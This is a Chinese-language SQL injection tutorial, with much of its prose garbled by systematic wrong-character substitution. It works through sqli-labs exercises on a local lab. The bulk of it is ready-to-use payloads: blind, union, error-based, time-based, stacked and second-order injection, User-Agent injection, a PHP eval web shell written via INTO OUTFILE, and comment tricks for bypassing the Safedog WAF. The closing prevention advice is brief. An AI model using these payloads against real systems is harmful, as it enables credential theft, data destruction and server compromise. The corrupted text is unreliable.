共计 10340 个字符,预计需要花费 26 分钟才能阅读完成。
免责申明
浏览前请先熟读《网络安全法》相干内容,以下知识点仅供学习应用,因为流传,利用此文所提供的信息而造成的任何间接或间接的结果和损失,均由使用者自己负责,文章作者不承当任何责任。
理解 SQL 注入
SQL 注入是因为后盾 SQL 语句拼接了用户的输出,而且 Web 应用程序对用户输出数据的合法性没有判断和过滤,前端传入后端的参数是攻击者可控的,攻击者能够通过结构不同的 SQL 语句来实现对数据库的任意操作。比方查问、删除,减少,批改数据等等,如果数据库的用户权限足够大,还能够对操作系统执行操作。
SQL 注入能够分为平台层注入和代码层注入。前者由不平安的数据库配置或数据库平台的破绽所致;后者次要是因为程序员对输出未进行粗疏地过滤。SQL 注入是针对数据库、后盾、零碎层面的攻打!
相熟数据库
目前市面上应用 MySql 的数量还是比拟多的,所以佩剑以 MySql 举例,所以先理解点 MySQL 无关的常识。在 MySQL5.0 之后增加了 information_schema 的数据库,该数据库中的表都是只读的,不能过程正删改查,实际上就是一个视图,不是根本的表构造。无奈被删除。
DROP DATABASE information_schema
> 1044 - Access denied for user 'root'@'localhost' to database 'information_schema'
特地要留神的是数据库中的正文符,在后续的 SQL 注入过程中,绕过平安狗有特地重要的作用,须要灵便组合搭配
mysql 中正文符:#、/**/、--
information_schema 数据库中三个很重要的表:
information_schema.schemata: 该数据表存储了 mysql 数据库中的所有数据库的库名
information_schema.tables:该数据表存储了 mysql 数据库中的所有数据表的表名
information_schema.columns: 该数据表存储了 mysql 数据库中的所有列的列名
Mysql 罕用函数
- version():查询数据库的版本
- user():查询数据库的使用者
- database():数据库
- system_user():零碎用户名
- session_user():连贯数据库的用户名
- current_user:以后用户名
- load_file():读取本地文件
- @@datadir:读取数据库门路
- @@basedir:mysql 装置门路
- @@version_complie_os:查看操作系统
- ascii(str) : 返回给定字符的 ascii 值,如果 str 是空字符串,返回 0;如果 str 是 NULL,返回 NULL。如 ascii(“a”)=97
- length(str) : 返回给定字符串的长度,如 length(“string”)=6
- substr(string,start,length) : 对于给定字符串 string,从 start 位开始截取,截取 length 长度 , 如 substr(“chinese”,3,2)=”in”
- substr()、stbstring()、mid() 三个函数的用法、性能均统一
- concat(username):将查问到的 username 连在一起,默认用逗号分隔
- concat(str1,’‘,str2):将字符串 str1 和 str2 的数据查问到一起,两头用 连贯
- group_concat(username):将 username 数据查问在一起,用逗号连贯
- limit 0,1:查问第 1 个数,limit 1,1:查问第 2 个数
以上是在 SQL 注入过程中常常用到的,如果还须要理解其余的函数能够自行百度
SQL 注入的分类
注入点类型分类
- 数字类型
- 字符串类型
-
搜寻型
提交形式分类
- GET
- POST
- COOKIE
-
HTTP 头
获取信息的形式分类
- 布尔盲注
- 工夫盲注
- 报错注入
- 联结查问
- 堆查问注入
判断是否存在 SQL 注入
一个网站有特地多页面,怎么判断是否存在 SQL 注入。能够通过现成的工具例如:AWVS、AppScan、Nessus、SqlMap 等。也能够在 GitHub 上子域名扫描器,把整个站所有子域名都扫描进去,而后再逐渐扫描破绽【扫描的网站肯定要在得到许可后,能力扫描】。
然而有的时候工具不是万能的,工具只是大面积的扫描,有很多时候还是须要手动判断是否有 SQL 注入破绽。上面以 MySql 5.5 版本为例,相熟 SQL 注入流程,积攒教训。
盲注:服务器没有谬误回显时实现的注入攻打。服务器没有谬误回显,无奈判断是否胜利注入
所以须要找到一个方面让服务器报错
- 先加单引号 ’、双引号 ”、单括号)、双括号))等看看是否报错,如果报错就可能存在 SQL 注入破绽了。
- 在 URL 前面加 and 1=1、and 1=2 看页面是否显示一样,显示不一样的话,必定存在 SQL 注入破绽了。
-
有时候通过简略的条件语句比方 and 1=2 是无奈看出异样,就须要工夫盲注
环境筹备
上面咱们搭建 sqli-labs 靶机验证个个注入办法
我把靶机装置在 Centos7 虚拟机上,装置的时候须要装置小皮【phpstudy】官网教程曾经十分具体就不赘述了。强调的一点就是 sqli-labs 用的 php 框架比拟老,须要装置 5.x 版本的 php,如果是默认的 7.x 版本启动会报错,装置 5.5+mysql 默认用户名明码即可
批改 sqli-labs 配置文件
输出地址就能拜访
点击 Setup/reset Database for labs 链接主动靶场数据脚本插入到数据库中
初学能够革新一下靶场的代码,让 sql 显示到页面上,能更好的了解 sql 输出的全过程。当然间接装置到本地会更好操作一下,看集体习惯
这样就能够应用了Boolean 盲注【耗时】
咱们先以 Less- 5 举例,首先代码革新一下,将 SQL 打在页面上,能够更不便咱们了解
我用的是火狐浏览器,能够在扩大里装置 Max HackBar【收费】,在应用的过程中会很不便。
当咱们输出 http://127.0.0.1/sqli/Less-5/…’ 咱们失去上面的页面
由此能够看出代码把 id 当成了字符来解决,而且前面还有一个限度显示的行数 limit 0,1。当咱们输出的语句正确时,就显示 You are in…. 当咱们输出的语句谬误时就报出 SQL 语句谬误。
依据以上的信息咱们能够猜出 sql 的大略写法$sql="SELECT * FROM 表 WHERE id='$id'LIMIT 0,1"; //sql 查问语句 $result=mysql_query($sql);
所以能够通过一些结构语句猜测咱们的判断,盲注个别用到的函数有 substr()、length(),exists()、concat()、ascii()等。
1、判断数据库类型
这个例子曾经通知咱们数据类型,在不晓得什么数据库的,须要通过 exists()函数判断是什么数据库
// 判断是否是 Mysql 数据库 http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from information_schema.tables) # // 判断是否是 access 数据库 http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from msysobjects) # // 判断是否是 Sqlserver 数据库 http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from sysobjects) #
看哪个不报错就能判断是什么数据库,前面的 #号是正文掉前面的 sql
对于 MySQL 数据库,information_schema 数据库中的表都是只读的,不能进行更新、删除和插入等操作。
information_schema.tables 存储了数据表的元数据信息,上面对罕用的字段进行介绍: - table_schema: 记录数据库名
- table_name: 记录数据表名
- table_rows: 对于表的粗略行预计
-
data_length : 记录表的大小(单位字节)
2、判断以后数据库名
1:判断以后数据库的长度,利用二分法 http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>5 // 失常显示 http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>10 // 不显示任何数据 http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>7 // 失常显示 http://127.0.0.1/sqli/Less-5/?id=-1 and length(database())>8 // 不显示任何数据 大于 7 失常显示,大于 8 不显示,所以可知以后数据库长度为 8 2:判断以后数据库的字符, 和下面的办法一样,利用二分法顺次判断 // 判断数据库的第一个字符 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr(database(),1,1))>100 // 判断数据库的第二个字符 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr(database(),2,1))>100 ........... 由此能够判断出以后数据库为 security
3、判断以后数据库中的表
http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select*from admin) // 猜想以后数据库中是否存在 admin 表 1:判断以后数据库中表的个数 // 判断以后数据库中的表的个数是否大于 5,用二分法顺次判断,最初得悉以后数据库表的个数为 4 http://127.0.0.1/sqli/Less-5/?id=-1 and (select count(table_name) from information_schema.tables where table_schema=database())>5 # 2:判断每个表的长度 // 判断第一个表的长度,用二分法顺次判断,最初可知以后数据库中第一个表的长度为 6 http://127.0.0.1/sqli/Less-5/?id=-1 and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 // 判断第二个表的长度,用二分法顺次判断,最初可知以后数据库中第二个表的长度为 6 http://127.0.0.1/sqli/Less-5/?id=-1 and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 3:判断每个表的每个字符的 ascii 值 // 判断第一个表的第一个字符的 ascii 值 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 # // 判断第一个表的第二个字符的 ascii 值 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 # ......... 由此可判断出存在表 emails、referers、uagents、users,猜想 users 表中最有可能存在账户和明码,所以以下判断字段和数据在 users 表中判断
4、判断以后数据库中的表
http://127.0.0.1/sqli/Less-5/?id=-1 and exists(select username from admin) // 猜想是否存在 username 字段 1:判断表中字段的个数 // 判断 users 表中字段个数是否大于 5,这里的 users 表是通过下面的语句爆进去的 http://127.0.0.1/sqli/Less-5/?id=-1 and (select count(column_name) from information_schema.columns where table_name='users')>5 # 2:判断字段的长度 // 判断第一个字段的长度 http://127.0.0.1/sqli/Less-5/?id=-1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 // 判断第二个字段的长度 http://127.0.0.1/sqli/Less-5/?id=-1 and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 3:判断字段的 ascii 值 // 判断第一个字段的第一个字符的长度 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 // 判断第一个字段的第二个字符的长度 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 ........... 由此可判断出 users 表中存在 id、username、password 字段
5、判断字段中的数据
下面办法曾经晓得 users 中有三个字段 id、username、password,当初爆出每个字段的数据 1: 判断数据的长度 // 判断 id 字段的第一个数据的长度 http://127.0.0.1/sqli/Less-5/?id=-1 and length((select id from users limit 0,1))>5 // 判断 id 字段的第二个数据的长度 http://127.0.0.1/sqli/Less-5/?id=-1 and length((select id from users limit 1,1))>5 2:判断数据的 ascii 值 // 判断 id 字段的第一个数据的第一个字符的 ascii 值 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select id from users limit 0,1),1,1))>100 // 判断 id 字段的第一个数据的第二个字符的 ascii 值 http://127.0.0.1/sqli/Less-5/?id=-1 and ascii(substr((select id from users limit 0,1),2,1))>100 ...........
union 注入
union 联结查问实用于有显示列的注入,能够通过 order by 来判断以后表的列数
咱们用 Less- 2 举例http://127.0.0.1/sqli/Less-2/?id=1 order by 4 #
阐明只有 3 个字段http://127.0.0.1/sqli/Less-2/?id=-1 union select 1 ,2 ,3 #
留神 id 要输出一个没有的参数,能力将 union 显示进去http://127.0.0.1/sqli/Less-2/?id=1 and 1=2 union select 1 ,2 ,3 #
也能够写成谬误数据 and 1=2
这时候须要一些函数来帮咱们查问重要信息version():数据库的版本 database() : 以后所在的数据库 user():数据库的用户 current_user() : 以后用户名 system_user() : 零碎用户名 session_user() : 连贯到数据库的用户名 @@basedir : 数据库的装置目录 @@datadir:数据库文件的寄存目录
通过 union 注入取得更多的信息// 取得所有的数据库 http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata# // 取得所有的表 http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables# // 取得所有的列 http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns# #获取以后数据库中指定表的指定字段的值 (只能是 database() 所在的数据库内的数据,因为处于以后数据库下的话不能查问其余数据库内的数据) http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(password),3 from users #
通过上面的语句失去以后数据库的所有的表http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' #
通过上面的语句晓得每一个表中的列http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' #
最初将 users 表中的所有数据都给爆进去了http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,group_concat(id,'**',username,'**',password),3 from users #
当有显示列的时候,能够利用 union 注入。当没有显示列的时候,只能利用盲注进行数据读取;
文件读写
union 注入读取文件
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,load_file("D:/1.txt")#
union 写入文件
union 注入写入一句话木马 into outfile 和 into dumpfile 都能够
http://127.0.0.1/sqli/Less-1/?id=-1 union select 1,2,'<?php @eval($_POST[aaa]);?>' into outfile 'D:/1.php' #
报错注入
页面上没有显示位,然而须要输入 SQL 语句执行错误信息
ExtractValue 报错注入
EXTRACTVALUE (XML_document, XPath_string)
第一个参数:XML_document 是 String 格局,为 XML 文档对象的名称
第二个参数:XPath_string (Xpath 格局的字符串).
作用:从指标 XML 中返回蕴含所查问值的字符串
// 能够将 user() 改成任何咱们想要查问的函数和 sql 语句 ,0x7e 示意的是 ~
http://127.0.0.1/sqli/Less-2/?id=-1 and extractvalue(1,concat(0x7e,database(),0x7e))#
UpdateXml 报错注入
UpdateXml 函数实际上是去更新了 XML 文档,然而咱们在 XML 文档门路的地位外面写入了子查问,咱们输出特殊字符,而后就因为不合乎输出规定而后报错了,然而报错的时候他其实曾经执行了那个子查问代码!
UPDATEXML (XML_document, XPath_string, new_value)
第一个参数:XML_document 是 String 格局,为 XML 文档对象的名称
第二个参数:XPath_string (Xpath 格局的字符串)
第三个参数:new_value,String 格局,替换查找到的符合条件的数据
// 能够将 user() 改成任何咱们想要查问的函数和 sql 语句 ,0x7e 示意的是 ~
http://127.0.0.1/sqli/Less-1/?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)#
工夫盲注
Timing Attack 注入,也就是工夫盲注。通过简略的条件语句比方 and 1=2 是无奈看出异样的。
在 MySQL 中,有一个 Benchmark() 函数,它是用于测试性能的。Benchmark(count,expr),这个函数执行的后果,是将表达式 expr 执行 count 次。利用 Benchmark 函数,能够让同一个函数执行若干次,使得后果返回的工夫比平时要长,通过工夫长短的变动,能够判断注入语句是否执行胜利.
http://127.0.0.1/sqli/Less-1/?id=1 and sleep(5)#
REGEXP 正则匹配
正则表达式通常被用来检索、替换那些合乎某个模式 (规定) 的文本
http://127.0.0.1/sqli/Less-1/?id=1 and 1=(select 1 from information_schema.tables where table_schema=security and table_name regexp ^[a-z] limit 0,1) #
重叠注入
在 SQL 中,分号; 是用来示意一条 sql 语句的完结, 在 ; 完结后持续结构下一条语句继续执行就是迭代注入。【目前集体发现只有 mysql 好用】
Select * from user where name='root';DROP database user;
二次注入
二次注入破绽是一种在 Web 应用程序中宽泛存在的安全漏洞模式。绝对于一次注入破绽而言,二次注入破绽更难以被发现,然而它却具备与一次注入攻打破绽雷同的攻打威力。
以 Less-24 为例
新建一个账号
新建的用户名为:admin’# 明码为:123456
数据曾经插入
登录批改明码
将 admin 明码批改了
为什么会这样呢?咱们查看批改明码页面源代码,发现这里存在显著的 SQL 注入破绽
$sql = "UPDATE users SET PASSWORD='$pass'where username='$username'and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :(');
$row = mysql_affected_rows();
当咱们提交用户名 admin’# 批改明码为 aaaaaa 的时候,这条 SQL 语句就变成了上面的语句了。# 把前面的都给正文了,所以就是批改了 admin 用户的明码为 aaaaaa
$sql = "UPDATE users SET PASSWORD='aaaaaa'where username='admin'#' and password='$curr_pass' ";
User-Agent 注入
拜访 http://127.0.0.1/sqli/Less-18/ 咱们先抓包
批改其 User-Agent 为
and extractvalue(1,concat(0x7e,database(),0x7e))and 1=1 #
页面将以后的数据库显示进去了
绕过平安狗
环境筹备
在装置平安狗之前,肯定要先做好装置 apache2.4 这一项
平安狗配置
下载最新 4.0 平安狗
1= 1 绕过
首先这里的话是尝试一个 1 =1
更换成 true=true 进行尝试 还是不行
尝试用 /*/ 来充当正文符 仍然不行
发现很多都能够充当空格来进行绕过,咱们随便筛选一个进行尝试,结构 payload 如下
http://127.0.0.1/sqli/Less-2/?id=1 and/*////*/1 #
order by 绕过
http://127.0.0.1/sqli/Less-2/?id=1 order/*////*/by 3 --+
联结查问绕过
http://127.0.0.1/sqli/Less-2/?id=1 union/*/!*!**/select 1,2,3--+
各种正文绕过
http://127.0.0.1/sqli/Less-2/?id=1 union/*/!*!**/select 1,2,database/*///-*/()--+
SQL 注入的预防
- 能够采纳预编译语句集,它内置了解决 SQL 注入的能力,只有应用它的 setXXX 办法传值即可。
- 应用正则表达式过滤
- 待更新